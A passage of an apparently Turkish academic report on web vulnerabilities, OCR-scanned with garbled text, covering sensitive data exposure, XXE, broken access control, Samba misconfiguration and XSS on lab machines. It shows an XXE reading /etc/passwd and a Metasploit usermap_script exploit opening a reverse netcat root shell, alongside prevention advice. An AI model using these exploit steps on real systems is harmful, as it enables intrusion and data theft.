3 Usar-Agent: Mozalla/5.0 (X11 Lanux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0
4 hecept: text/htnl, applacation/xhtel+uml, application/xal: qr0. 9, 1mage/vebp, */*; F0.8
o hecept-Language: en-US, en; =0.5
6 Accept-Encoding: qzip, deflate
Referer: http://10.0.2. 4/LWAPP /portal. php
Connection. close
G Cookie: securaty levalnd: PHPSESSIOn792685f a92¢23¢64ffa2elch528a1189d, K
10 Upgrade-Insecure-Raquests; 1

11 Cache-Control: max-age0
bWapp Uzerinden Zafiyetli Web Sitesinin Secilmesi (A)
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Sekil 2.3.1 (A)’da “Burp Suite” uygulamasi kullanilarak, tarayicimizin “Proxy”
ayarlarin1 devreye sokup “Intercept is on” butonuna basip, tarayict sayfamizi
yenilendigimiz zaman uygulama ekranimizda kargimiza cikan

“secret=QWS55IGJ1Z3M%2F” degeri bir “Base64” kodu olabilir.

Pretty \n Actions Vv Scan

5 bt ot Send to Intruder Ctrl+l
1 GET /bWAPP/insecure_crypt_storage_3.php HTTP/1.1
2 Host: 10.0.2.4 Send to Repeater Ctrl4+R
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Send to Sequencer
4 Accept: text/html,application/xhtml+xml, application/xml;ce0.9, image/webp, */*; =0.8 Send to Comparer
5 Accept-Language: en-US, en; 0.5 _
& Accept-Encoding: gzip, deflate Sendtoecoder
7 Referer: http://10.0.2. 4/bWAPP/portal. php Request in browser >
& Connection: dose Engagemert tools [Pro version only] >
9 Cookie: security_level=0; PHPSESSID=792685fa%92c23ch4ffe2dch528a1189d; secret=UWSSIGILZEMS --om
L0 Upgrade-Insecure-Requests: 1 Change request method
L1 Cache-Control: max-age=0 Change body encoding
t? Copy URL
3 Copy as curl command
Copy to file
Paste from file
Save tem
Don't intercept requests >
Do intercept >
Convert selection >

URL-encode as you type

Cut Ctrl+X
Copy Ctrl+C
Paste Ctrl+v

Message editor documentation

3@ @ EJ Search.. Proxy interception documentation
bWapp Uzerinden Zafiyetli Web Sitesinin Segilmesi (B)

Sekil 2.3.1 (B)’de bu “secret” degeri “decoder” kismina gonderilmistir.

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intrucer T Repeater T Sequencer rDewder T Comparer T Extender T Project options T User options ]

QWSSIG)1Z3M|

Any buz3M

Sekil 2.3. 2: Burp Suit Yardimiyla Zafiyetin Bulunmasi

Sekil 2.3.2’de Decode ettikten sonra ¢ikan kod gosterilmistir.
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2.3.2 Hassas Veri Zafiyetinin Onlenmesi

Hassas bilgi ifsas1 zafiyetinin 6nlenmesi i¢in su adimlar izlenebilir:

e Veri Sifrelenmesi: Hassas veriler, saklanmadan veya aktarilmadan 6nce giiclii
bir sekilde sifrelenmelidir. Bu, bilgilerin yetkisiz erisimden korunmasina
yardimci olur.

e Qilgcli Kimlik Dogrulama: Kullanicilarin  kimlik dogrulama stiregleri
giiclendirilmeli ve ek giivenlik katmanlar1 gibi ¢ift faktorli kimlik dogrulama
yontemleri uygulanmalidir.

e Veri Azaltma: Uygulama, gereksiz hassas verilerin toplanmamasi veya
saklanmamas1 icin gerekli Onlemleri almalidir. Yalmzca temel bilgiler
toplanmal1 ve islenmelidir.

e Giivenli iletisim Yontemleri: Hassas verilerin iletilmesi sirasinda giivenli
iletisim protokolleri kullanilmalidir, 6rnegin, HTTPS.

e Giivenlik Duvarlart ve Yazilimlari: Ag trafigi izlenerek ve anormal faaliyetler
tespit edilerek hassas verilere erisimi engellemek i¢in giivenlik duvarlar1 ve
yazilimlar1 kullanilabilir.

e (@iincelleme ve Yama Yonetimi: Web uygulamasi ve altyapisi diizenli olarak
giincellenmeli ve gilivenlik yamalar1 diizenli olarak uygulanmalidir.

e Kullanici Egitimi: Kullanicilar, giiclii parolalar kullanmalar1 ve giivenli
internet uygulamalar1 konusunda diizenli olarak egitilmelidir.

e Giivenlik Testleri: Uygulama, hassas veri koruma diizeyini siirekli olarak

degerlendirmek i¢in diizenli glivenlik testlerine tabi tutulmalidir.
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2.4 XML HARICI VARLIK

XML Harici Varlik (XML External Entity), XML belgelerinde dis kaynaklar1 belgeye
dahil etmek i¢in kullanilan bir 6zelliktir. D1s varlik, XML belgesinin i¢ine yerlestirilen
veya atifta bulunulan metin veya veri pargalarini ifade eder. Bu varliklar, genellikle
bir URL veya dosya yolu ile tanimlanir ve bir XML belgesine dahil edilerek icerige

eklenir.

Bu 6zellik, XML belgesinin dinamik olarak baska kaynaklara baglanmasina olanak
tanir, boylece belge icerigi farkli kaynaklardan alinabilir veya giincellenebilir. Ancak,
kotii niyetli durumlarda, dis varliklarin belgeye eklenmesi giivenlik riski olusturabilir.
Ormegin, XML Harici Varlik saldirilari, dis varhiklarin kotii amagl icerikleri veya
hassas bilgileri igerecek sekilde kullanilmasiyla gergeklesebilir. Bu tiir saldirilar,

giivenlik agiklarina neden olabilir ve hassas bilgilerin ifsasina yol agabilir.

2.4.1 Genisletilebilir Isaretleme Dili

XML (Genisletilebilir isaretleme Dili), bilgilerin yapilandirilmis bigimde tasinmasi
i¢in kullanilan bir isaretleme dilidir. Metin tabanli bir formatta oldugundan, verilerin
diizenlenmesi, saklanmasi ve taginmasi i¢in yaygin olarak kullanilir. XML, ag
tizerinde veri aligverisi yapmak, veri tabanlarinda veri depolamak, yapilandirilmis veri

aligverisi ve diger bir¢ok uygulama alaninda kullanilmaktadir.

XML belgeleri, 6zel etiketlerle tanimlanmis yapilara sahiptir. Her etiket, belgedeki bir
ogeyi veya veri pargasimi temsil eder. Ornegin, bir XML belgesinde bir kitap
katalogunu temsil etmek i¢in her kitap bir etiket icine yerlestirilebilir. Bu etiketlerin
icerigi, kitap ad1, yazari, yaymevi vb. gibi bilgileri i¢erebilir. XML, verilerin hiyerarsik

ve yapisal bir sekilde diizenlenmesine olanak tanir.

XML'in esnekligi, veri tiirlerini ve yapilarini tanimlamanin yani sira belirli bir
uygulama veya kullanim senaryosuna uyacak sekilde genisletilebilmesine olanak tanir.
Bu nedenle, "genisletilebilir" (extensible) adim almustir. Ornegin, bir belgeyi belirli bir
endiistri standardina veya belirli bir uygulama gereksinimine uyacak sekilde

Ozellestirebilirsiniz.
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XML, HTML'den farklidir; HTML, belgelerin web tarayicilarinda goriintiilenmesi ig¢in
kullanilan bir isaretleme dilidir, XML ise verilerin tanimlanmasi ve tasinmasi ig¢in

kullanilir.

2.4.2 Belge Tiirii

Belge Tirti (DOCTYPE), bir XML veya HTML belgesinin tiiriinii ve siiriimiinii
tanimlayan bir bildirimdir. Bir belgenin DOCTYPE bildirimi, belgenin hangi standart
veya dilin izlendigini belirtir ve belgenin tarayicida nasil islenecegini tanimlar.
DOCTYPE bildirimi genellikle belgenin basinda bulunur ve asagidaki formatta

olabilir:
<IDOCTYPE html>

Bu 6rnek, bir HTMLS5 belgesinin DOCTYPE bildirimini temsil eder. HTML
belgelerinde DOCTYPE bildirimi, belgenin hangi HTML siiriimiini takip ettigini
belirtir ve tarayicinin belgeyi nasil isleyecegini belirler. Ornegin, HTML5 belgeleri
icin DOCTYPE bildirimi, tarayiciya belgenin HTMLS standartlarina gére islenmesini
soyler. DOCTYPE bildirimi, tarayiciya belgenin hangi standartlara uygun oldugunu
bildirerek, dogru bir sekilde islenmesini ve goriintiilenmesini saglar. Bu nedenle,

DOCTYPE bildiriminin belge i¢cinde dogru bir konumda olmas1 énemlidir.

2.4.3 Belge Tiirii Tanimi

Belge Tiirti Tanim1 (DTD), XML belgelerinin yapilarini ve niteliklerini belirleyen bir
belge tiiriidiir. DTD, XML belgelerinde kullanilan etiketlerin ve niteliklerin diizenini,
belgedeki gecerli 6geleri ve 6gelerin nasil iligkilendirildigini tanimlar. Ayrica, bir
XML belgesinin dogrulugunu kontrol etmek ve belgenin gegerli olup olmadigim

belirlemek i¢in kullanilir.

DTD'ler, XML belgelerinin belirli bir yapiya sahip olmasini saglar ve bu belgelerin
nasil bigimlenmesi gerektigini agiklar. Ornegin, bir DTD, bir kitap katalogu XML
belgesinde her bir kitabin baslik, yazar, yaynevi vb. gibi 6gelerini ve bu 6gelerin

birbiriyle olan iligkilerini tanimlayabilir.
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DTD'ler, bir XML belgesinin gecerliligini sinayabilir. Belge, DTD tarafindan
tanimlanan diizene ve kurallara uygunsa, belge gecerli kabul edilir. Aksi takdirde,
belge gecersiz kabul edilir ve DTD tarafindan belirtilen standartlara uymadig icin

islenemez.

2.4.4 Varlik

Bir varlik (Entity), bir dokiiman i¢inde bulunan ve genellikle tekrar kullanilabilir ve
degistirilebilir bir boliimii ifade eder. XML belgelerinde, bir varlik, bir karakter, bir
dize veya daha karmasik bir yapi olabilir. XML'de, bir varlik "&" isaretiyle baslar ve
";" ile sonlanir. XML belgelerinde, bu tiir varliklar, belge icindeki 6zel karakterleri
temsil etmek i¢in kullanilir ve XML belgesinin gecerliligini saglamak i¢in dnemlidir.
Varliklar ayrica XML belgelerinde yeniden kullanilabilir yapilar veya verileri
tanimlamak icin de kullanilabilir. Ornegin, bir XML belgesinde sik sik kullanilan bir
ifadeyi bir varlik ile tanimlamak, belgenin okunabilirligini artirabilir ve tekrar eden

kodlar1 azaltabilir.

2.4.5 XXE Zafiyetinin Olusmas1 ve Istismar Edilmesi

XXE (XML External Entity) a¢181, XML isleme siireclerinde ortaya ¢ikan bir giivenlik
zafiyetidir. Bu acik, bir saldirganin XML dis varliklarini kétiiye kullanarak sunucuya

izinsiz erisim saglamasina veya hassas verilere ulagsmasina neden olabilir.

XXE zafiyeti genellikle bir XML belgesinin iglenmesi sirasinda goriiliir. XML'de,
belgeyi olusturan XML dosyasina dis kaynaklardan veri almak i¢in referanslar igeren
dis varliklar bulunur. Bu varliklar, belge islendiginde belirtilen URL veya dosya yolu
aracilifiyla yiiklenir. Ancak, bu durum, saldirganlarin dis varliklar1 kotii niyetli
amaglar i¢in kullanmasma olanak tanir. XXE zafiyeti genellikle su nedenlerden

kaynaklanir:

e Varsayilan D1g Varlik Ayarlari: XML isleyici ayarlarinin varsayilan olarak dis
varliklar1 islemeye izin vermesi durumunda, saldirganlar dis varliklar1 kotii

amagl igerikleri yiliklemek icin kullanabilirler.
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e Kullanici Girdilerinin Yeterince Filtrelenmemesi: Kotii niyetli kullanici
giriglerinin yeterince filtrelenmemesi durumunda, saldirganlar dis varliklar
kontrol edebilir ve k&tii amagli igerikleri yiiklemek i¢in kullanabilirler.

e Zayif XML Isleyici Ayarlari: XML isleyici ayarlarinin zayif veya hatali
yapilandirilmasi, saldirganlarin dig varliklar1 kotii amaglar i¢in kullanmasina

imkan tanir.

XXE (XML External Entity) zafiyetinin istismari, saldirganlarin XML dig varliklarini
kotiiye kullanarak hedef sistemlere yetkisiz erisim saglamak veya hassas bilgilere

erismek icin kullanabilecekleri ¢esitli yontemler igerir.

& PentesterLab» Webfor X +

& C @ © & 10.0.2.6/x

o Kali Linux X Kali Training X Kali Tools ¥ Kali Forums ¢ KaliDocs @ NetHunter

PentesterLab.com Home

Hello hacker
Sekil 2.4. 1: XXE Zafiyeti Barindiran Sitenin Anasayfa Ciktis1

Sekil 2.4.1°de Zafiyet bulunduran makine olarak Pentester Lab tarafindan gelistirilen
Web For Pentester zafiyetli makinay1 kullanilmistir. Url incelendiginde xml adinda bir
parametre aldigini ve test tagleri arasinda yazilan verinin xml parametresine atanarak

sayfaya basildig1 gosterilmistir.

Hello root:x.0:0:ro0t/root/bin/bash daemon:x.1:1:daemon:/ust/sbin:/bin/sh bin:x.2:2:oin/bin:/bin/sh sys:x.3:3:sys:/dev/bin/sh sync:x:4:65534:ync:/bin:
Ibin/sync games:x.5:60:games:/usrigames:/bin/sh manx:6:12:man:varicache/man:/bin/sh [p:x.7.7 lp:var/spoolpd/bin/sh mai:x.8:8 mailvar/mal
Ioinish ngws:x.9:9:news:var/spool ngws:/bin/sh uucp:x:10:10:uucp:var/spooluucp:/bin/sh proxyx:13:13:proxy./bin/bin/sh www-data:x.33:33 www-
dlata:/var www/bin/sh backup:x:34:34:backup:var/backups/bin/sh listx:38:36:Maiing List Manager.var/list/bin/sh irc:x.39:39:red:var'runired./bin/sh
qnats:x.41:41:Gnats Bug-Reporting System (admin):/varfib/gnats/bin/sh nobodyx:65534:65534:nbody:/nonexistent./bin/sh buuid:x;100:101::/var
fibouuid/bin/sh mysqlx:101:103:MySQL Server,/varfib/mysal/bin/false sshd:x;102:65534:varlrun/sshd:/usr/sbin/nologin
openldap:x:103:106:0penLDAP Server Account,, /varfio/ldap:/bin/false user:x:1000:1000:Debian Live user,, /home/user/bin/bash

Sekil 2.4. 2: XXE Zafiyeti Barindiran Sitenin Passwd Ciktis1

Sekil 2.4.2°de goziiken bu durum gerekli payload kullanilarak génderildiginde zafiyet
ortaya ¢ikmaktadir.
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2.4.5 XXE Zafiyetinin Onlenmesi

XXE Zafiyetinin 6nlenmesi i¢in asagidaki giivenlik 6nlemleri yapilmalidir. Bunlar:

e XML Iisleyici Ayarlarimin Giivenli Hale Getirilmesi: XML isleyici
yapilandirmalarinin  giivenli bir sekilde ayarlanmasi oOnemlidir. Bu, dis
varliklarin etkin bir sekilde devre dis1 birakilmasini saglar.

e Giris Dogrulama ve Filtreleme: XML belgelerinde kullanici girislerinin
titizlikle dogrulanmasi ve filtrelenmesi gerekmektedir. Bu, kotii niyetli XML
dis varliklarinin engellenmesine yardimci olur.

e XML Givenlik Kiitiiphanelerinin Kullanilmasi: Giivenlik odakli XML
kiitiiphanelerinin tercih edilmesi, XXE zafiyetlerini engellemek icin etkili bir
yontemdir.

e DTD (Belge Tiirti Tanim1) Kullanmaktan Kac¢inma: XXE aciklarin1 6nlemek
icin, DTD kullanimindan kag¢inilmali ve alternatif belge tanimlama yontemleri
tercih edilmelidir.

e XML Parcalama Kiitiiphanelerinin Giincellenmesi: Kullanilan XML
parcalama kiitiiphanelerinin giincel ve gilivenli oldugundan emin olunmalidir.
Giincellenmis kiitliphanelerin kullanilmasi, giivenlik aciklarinin kapatilmasina
yardimci1 olur.

e XML isleme Islemlerinin Kisitlanmasi: XML isleme islemlerinin sadece
giivenilir ve gerekli kaynaklardan alinan belgelerle sinirli  olmast
gerekmektedir.

e Giivenlik Denetimleri ve Testleri: Uygulamanin diizenli olarak giivenlik
denetimlerine ve penetrasyon testlerine tabi tutulmasi, XXE zafiyetlerinin

tespit edilmesine ve giderilmesine yardimci olur.

Bu 6nlemler, XXE zafiyetlerini azaltmak ve uygulamalarin giivenligini artirmak i¢in

etkili bir yontem saglar.
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2.5 KIRIK ERISIM KONTROLU

Kirik Erisim Kontrolii (Broken Access Control), web uygulamalarinda kullanicilarin
veya sistem bilesenlerinin belirli kaynaklara yetkisiz erisim saglayabilmesine yol agan
bir giivenlik agigidir. Bu zafiyet, web uygulamasinin izinleri ve erisim kontrollerini

uygun sekilde uygulamadig1 zaman ortaya ¢ikar.

Ornegin, bir web uygulamasinda kullanicilar arasinda yetki farklar1 bulunuyorsa ve bu
yetkiler yeterince denetlenmiyorsa, kullanicilar normalde ulasamayacaklari
kaynaklara erigebilirler. Bu durumda, kullanicilar hassas verilere, yonetici

arayiizlerine veya diger 6nemli bilesenlere yetkisiz erisim saglayabilirler.

2.5.1 Kirik Erisim Kontrolii Zafiyetinin Olusmasi

Kirik erisim kontrolleri genellikle asagidaki nedenlerden dolay1 olusur:

e Zayif Yetkilendirme ve Dogrulama Yontemleri: Uygulama, kullanicilarin
kimliklerini dogrulamak ve erigim izinlerini belirlemek i¢in yetersiz veya hatali
yontemler kullaniyorsa, yetki kontrolleri zay1f olabilir.

e Dogru Izin Kontroliiniin Eksikligi: Uygulama, belirli kaynaklara erisim
izinlerini dogru bir sekilde denetlemediginde veya uygulamadiginda,
kullanicilar yetkisiz erisim saglayabilirler.

e Eksik Izleme ve Giinliikleme: Uygulama, erisim etkinliklerini izlemiyor veya
giinliikleme yapmiyorsa, yetki ihlalleri tespit edilemez ve diizeltilmez.

e Varsayilan Ayarlar ve Zayif Yapilandirma: Uygulamanin varsayilan ayarlari
veya yapilandirmasi, kullanicilarin yetkisiz erisim saglamasina olanak
tantyabilir. Ornegin, bir ydnetici arayiiziiniin varsayilan parolasimnin
degistirilmemesi, saldirganlarin sisteme kolayca erisim saglamasina neden

olabilir.

2.5.2 Kirik Erisim Kontrolii Zafiyetinin Istismart

Kirik Erisim Kontrolii Zafiyetinin istismari, yetkilendirme veya kimlik dogrulama

mekanizmalarindaki hatalardan veya eksikliklerden yararlanarak belirli kaynaklara
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yetkisiz erisim saglamay1 amaclar. Bu zafiyetler genellikle asagidaki yontemlerle

gergeklestirilir:

e Yetkisiz Taleplerin Yapilmasi: Saldirganlar, yetkisiz olarak korunan bir
kaynaga erismek icin kimlik dogrulama adimlarini atlamak veya gegersiz
kimlik bilgileriyle talepler gondermek gibi yontemler kullanabilirler.

e URL Manipiilasyonu: Uygulamanin URL yapisin1 veya parametrelerini
manipiile ederek, yetkisiz olarak erisilebilecek kaynaklara erismeye
calisabilirler. Ornegin, bir kullanicinin normalde erisemeyecegi bir sayfaya
erismek icin URL'y1 degistirebilirler.

e Zayif Oturum Yonetimi: Oturum kimlikleri {izerinde yetersiz kontroller veya
tahmin edilebilir oturum kimlikleri kullanarak, yetkisiz oturumlarin ele
gecirilmesi ve kullanilmasi s6z konusu olabilir.

e Hata Mesajlarindan Faydalanma: Uygulamanin hata mesajlari, saldirganlara
belirli hedeflere erisim saglamak igin bilgi saglayabilir. Ornegin, bir
yetkilendirme hatas1 mesaji1, saldirganlara hangi kullanict adlarmin gegerli
oldugunu 6grenme imkani verebilir.

e Dogrudan Nesne Basvurusu (Direct Object Reference): Uygulamanin igindeki
kaynaklar1 belirlemek ve dogrudan onlara erismek icin referanslar
kullanilabilir. Bu, yetkilendirme kontrollerinin atlandig1 veya zayif oldugu

durumlarda kullanilabilir.

2.5.3 Karik Erisim Kontrolii Zafiyetinin Onlenmesi

Kirik Erisim Kontrolii Zafiyetini engellemek icin farkli dnlemler almabilir. 1k olarak,
saglam yetkilendirme ve kimlik dogrulama sistemlerinin kullanilmasi esastir. Bu,
kullanicilarin kimliklerini dogrulamak ve erisim izinlerini belirlemek i¢in giivenilir ve
saglam sistemlerin tercih edilmesini saglar. Ornegin, giiclii parola politikalar1 ve iki

faktorli kimlik dogrulama gibi yontemler, uygulamanin giivenligini artirabilir.

Ikinci olarak, dogru izin kontroliiniin uygulanmasi kritik &nem tasir. Uygulama, belirli
kaynaklara erigim izinlerini dogru bir sekilde denetlemeli ve uygulamalidir. Bu, her

kullanicinin sadece gereksinim duydugu en diisiik erisim izinlerine sahip oldugundan
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emin olmay1 igerir. Bu sayede, kullanicilar yetkilerini asamaz ve yetkisiz erisim

saglayamazlar.

Uciincii olarak, gelismis oturum ydnetimi hayati énem tasir. Oturum kimlikleri
tizerinde giivenlik kontrolleri saglanmali ve gilivenlik 6nlemleri alinmalidir. Giivenli
oturum yonetimi politikalar1 uygulanmali ve oturum kimlikleri giiclii bir sekilde

korunmalidir. Bu, oturumlar iizerinde yetkisiz erisimi engelleyebilir.

Ayrica, hata mesajlarindan bilgi sizdirmamak 6nemlidir. Uygulamanin hata mesajlari,
kullaniciya en az miktarda bilgi saglamali ve 6zellikle yetki ile ilgili hatalarin detaylar

dikkatlice ele alinmalidir. Bu, saldirganlarin zayif noktalari tespit etmesini gii¢lestirir.

Son olarak, diizenli giivenlik testleri ve denetimler yapilmalidir. Bu, uygulamanin
giivenligini degerlendirmek ve potansiyel zafiyetleri tespit etmek i¢in Onemlidir.
Giivenlik duvarlar1 ve izleme araglar1 kullanilarak yetkisiz erisim girisimleri izlenebilir
ve engellenebilir. Bu tiir araglar kullanilarak erken uyarilar alinabilir ve zafiyetler

onceden 6nlenmis olur.
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2.6 GUVENLIK YANLIS YAPILANDIRMASI

Giivenlik Hatali Yapilandirma (Security Misconfiguration), sistem, sunucu veya agda
mevcut giivenlik ayarlarinin yanlis ya da eksik yapilandirilmasi sonucunda ortaya
cikan bir gilivenlik acigidir. Bu tiir hatalar genellikle sistem yoOneticileri veya
gelistiriciler tarafindan yapilan yapilandirma hatalari, varsayillan ayarlarin

degistirilmemesi veya giincellemelerin ihmal edilmesi gibi sebeplerle meydana gelir.

Giivenlik hatali yapilandirmalari, saldirganlarin sistemlere yetkisiz erisim saglamasi,
hassas verilerin ifsa edilmesi, hizmet kesintileri veya kotii amagli yazilimlarin
bulagmasi gibi sonuglara neden olabilir. Bu tiir bir giivenlik a¢ig1, kuruluslar1 siber
saldirilara ve veri sizintilarina kars1 savunmasiz hale getirebilir. Bu nedenle, dogru

yapilandirma ve glivenlik ayarlarinin saglanmasi biiyiik 6nem tasir.

2.6.1 Samba

Samba, Linux ve diger UNIX benzeri isletim sistemlerinde Windows isletim sistemi
ag dosya ve yazici paylagim protokollerini uygulamak i¢in kullanilan bir yazilim
paketidir. Samba, SMB/CIFS (Server Message Block/Common Internet File System)
protokollerini destekleyerek Linux ve diger UNIX tabanli sistemlerin, Windows

tabanli sistemlerle etkilesimde bulunmasini saglar.

Bu yazilim paketi, bir agda Linux veya UNIX sistemlerinde bir dosya sunucusu veya
yazict sunucusu olarak hizmet verebilir ve Windows istemcilerinin bu sunuculara
erismesine olanak tanir. Samba, kullanicilarin dosya ve yazicilar1 ag iizerinde
paylasmasini, ag kullanicilarinin dosya ve yazici kaynaklarina erismesini ve Windows

ve Linux sistemleri arasinda dosya paylasimini kolaylastirir.

Samba, ayn1 zamanda Active Directory (AD) ile entegrasyon ve dosya paylasimi i¢in
giivenlik ve yetkilendirme 6zellikleri saglayarak kurumsal aglar i¢in giiclii bir ¢6ziim
sunar. Bu, Linux ve UNIX sistemlerini, Windows tabanli aglarla entegre etmek ve

dosya paylasimi i¢in giivenli bir ortam saglamak i¢in kullanilir.
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Genel olarak, Samba, acik kaynakli bir yazilim paketi olarak, Linux ve UNIX
sistemlerini Windows aglariyla entegre etmek ve ag dosya ve yazict paylasimi

saglamak i¢in yaygin bir sekilde kullanilan bir aragtir.

2.6.2 Giivenlik Yanlis Yapilandirma Zafiyetinin Olusmasi

Giivenlik yanlis yapilandirmasi, ¢ogunlukla sistem yoneticileri veya gelistiriciler
tarafindan yapilandirma hatalari, varsayilan ayarlarin degistirilmemesi veya
giincellemelerin ihmal edilmesi gibi sebeplerle meydana gelir. Ornegin, bir sunucunun
giincel olmayan veya zayif sekilde yapilandirilmis bir isletim sistemi ile ¢aligtirilmast,
gereksiz servislerin veya baglanti noktalarinin acik birakilmasi veya varsayilan
sifrelerin kullanilmasi gibi durumlar giivenlik yanlis yapilandirmasina sebep olabilir.
Bunun yani sira, bir uygulamanin giivenlik ayarlarimin diizglin bir sekilde
yapilandirilmamasi veya giivenlik agiklarinin diizeltilmemesi de bu tiir bir zafiyetin
olugmasina neden olabilir. Bu tip durumlar, saldirganlarin sistemlere kolayca erisim

saglamasi veya hassas verilere yetkisiz erisim elde etmesi anlamina gelir.

2.6.3 Giivenlik Yanlis Yapilandirma Zafiyetinin Istismari

Arbitrary File Access Samba zafiyeti iizerinden Ornek wuygulama asagida
gosterilmistir. Bu zafiyet, sambanin bir SMB client tarafindan sunulan dizin yollarinin
dogrulama yontemindeki eksiklikten dolayidir. Saldirganin kendi dizin yolunu
belirleyerek istedigi dosyayi ¢alistirmasina olanak saglar. Sambaya aktarilan dosyalar
ve dizin adlart unic_covert() ve check name() fonksiyonlariyla doniistiiriilme islemi
yapilir ve kontrolii saglanir. Unix_clean name() fonksiyonu “//”” ve *“./” karakterlerini
kaldirir. Check name() fonksiyonu doniistiiriilmiis dosya adinin dogrulugunu kontrol
eder ve reduce name() fonksiyonunu cagirir ve iki kez Unix clean name()
fonksiyonu ¢agirilir. Bu islemde saldirgan istedigi dizini enjekte edebilir. Asagidaki
uygulamada saldirgan makine olarak Kali Linux, istismar edilen makine olarak

metasploitable-2 kullanilmistir.
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 10:46 EDT

Nmap scan report for 192.168.1.53

Host is up (©.00094s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl1l Debian 8ubuntul (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Sekil 2.6. 1: Security Misconfiguration Zafiyeti Barindiran Sunucunun Ciktisi

Sekil 2.6.1’de Nmap taramas1 sonucunda portun acgik oldugu ve servis bilgileri elde

edilmistir.

msf6 > use exploit/multi/samba/usermap_script
No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit( ) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
RHOSTS yes The target host(s), range CIDR identifier, or hosts file
with syntax "file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
LHOST 192.168.1.52 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Name
Automatic
msf6 exploit( ) > set RHOSTS 192.168.1.53

RHOSTS = 192.168.1.53
msf6 exploit( ) > exploitfl

Sekil 2.6. 2: Zafiyeti Barindiran Sunucuya Deger Se¢imi
Sekil 2.6.2°de Exploit islemi gerceklestirilerek komut calistirtlmistir.

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.52:4444

Command shell session 1 opened (192.168.1.52:4444 — 192.168.1.53:54621) at 2021-06-01 10:59:
53 -0400

id

uid=0(root) gid=0(root)

vihoami

root

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

Sekil 2.6. 3: Zafiyet Barindiran Sunucunun Istismar Edilmesi

Sekil 2.6.3’de Zafiyeti barindiran sunucunun istismar edildigi géziikmektedir.
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2.6.4 Giivenlik Yanlis Yapilandirma Zafiyeti Onlenmesi

Giivenlik yanlis yapilandirmasi zafiyetlerini 6nlemek icin bir dizi strateji izlenmelidir.
[k olarak, sirketler, kapsamli giivenlik politikalari ve standartlar1 belirlemelidir. Bu
politika ve standartlar, tiim sistemlerin ve uygulamalarin giivenlik gereksinimlerine
uygun olarak yapilandirilmasini1 temin eder. Bununla birlikte, giivenli yapilandirma
kilavuzlar1 kullanilmali ve sistem yoneticileri ile gelistiricilere dogru yapilandirma
adimlarin1 saglamak i¢in egitim ve kaynaklar sunulmalidir. Ayrica, sistemlerin ve
uygulamalarin giincel olmasi ve giivenlik yamalarinin diizenli olarak uygulanmasi da
hayati 6nem tasir. Gereksiz hizmetlerin kapatilmasi veya devre dis1 birakilmasi, giiclii
parola politikalarimin uygulanmasi1 ve dosya/klasor izinlerinin diizenli olarak
denetlenmesi gibi tedbirler de alinmalidir. Giivenlik testleri ve denetimlerin periyodik
olarak yapilmasi da zafiyetlerin tespit edilmesi ve diizeltilmesi igin kritiktir. Son
olarak, sistem yoneticileri ve gelistiriciler, giivenlik alaninda egitim ve farkindalik
programlarina katilarak dogru giivenlik uygulamalarin1 benimsemelidirler. Bu
stratejilerin bir araya gelmesi, giivenlik yanlis yapilandirmasi zafiyetlerini azaltmak ve
organizasyonlarin siber saldirilara kars1 daha giivenli hale gelmesini saglamak igin

gereklidir.
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2.7 SITELER ARASI KOMUT CALISTIRMA

Cross-Site Scripting (XSS), web uygulamalarinda olduk¢a yaygin goriilen ve
kullanicilarin tarayicilarinda zararli kodlarin ¢alismasina olanak taniyan bir giivenlik
acigidir. Bu tip saldirilar, saldirganin giivenilmeyen verileri, genellikle JavaScript gibi
betik dillerini ekleyerek gerceklestirdigi durumlarda ortaya ¢ikar. XSS saldirilari,
kullanict girigleri, URL parametreleri veya diger veri alanlar1 araciligiyla

gerceklestirilebilir. XSS saldirilarinin {i¢ temel ¢esidi vardir:

1. Depolama (Stored) XSS: Bu tiir saldirilarda, saldirgan, web uygulamasinin veri
tabanina zararli betikleri ekler. Bu betikler daha sonra bu verileri géren diger
kullanicilara sunuldugunda, tarayicida ¢alisir ve saldirganin istedigi eylemleri
gerceklestirir.

2. Yansima (Reflected) XSS: Bu tiir saldirilarda, saldirgan, kullanicinin
tarayicisina zararli bir URL veya form alani araciligiyla betikleri ekler. Sunucu
bu betikleri isler ve kullanicinin tarayicisina geri gonderir. Kullanict URL'yi
veya formu agtiginda, betik tarayicida caligir.

3. DOM XSS: Giivenlik a¢iginin sunucu tarafinda bulunan kod yerine istemci

tarafinda bulunmasidir.

XSS saldirilari, kullanicilarin oturum bilgilerini ¢almak, kullanicilar1 zararli web
sitelerine yonlendirmek, sayfa icerigini degistirmek veya kullanicilar1 bagka zararh

eylemlere tesvik etmek gibi farkli kotii amaglarla kullanilabilir.

2.7.1 Siteler Arasi Komut Calistirma Zafiyetinin Istismari

Cross Site Scripting (XSS) zafiyetinin istismari, bir saldirganin kotii niyetli kodlar
web uygulamasina enjekte etmesi ve bu kodlarin son kullanicilarin tarayicilarinda
calistirilmasiyla gergeklesir. Bu tiir bir saldir1, genellikle kullanict giris alanlari, form
alanlar1 veya URL parametreleri gibi web uygulamasiin giris noktalari araciligryla
gergeklestirilir. Saldirganlar, bu giris noktalarina zararli betikleri ekleyerek veya
URL'lerdeki parametreleri manipiile ederek, tarayicilarda calistirilmak iizere kodlari
enjekte ederler. Bu kotli amagli betikler, tarayicilarda ¢alistirildiginda, saldirganlarin

istedigi eylemleri gerceklestirebilir, 6rnegin oturum bilgilerini ele gecirebilir veya
